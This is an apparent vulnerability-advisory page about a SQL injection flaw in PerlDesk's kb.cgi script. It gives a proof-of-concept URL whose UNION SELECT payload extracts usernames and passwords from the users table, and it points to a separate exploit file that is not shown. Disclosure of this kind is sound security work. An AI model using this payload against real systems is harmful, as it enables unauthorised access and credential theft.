• info
• discussion
• exploit
• solution
• references

PerlDesk SQL Injection Vulnerability

The following proof of concept is available:
http://www.example.com/dir/kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users

The following exploit has been supplied by the discoverer of the vulnerability:

• /data/vulnerabilities/exploits/pde.txt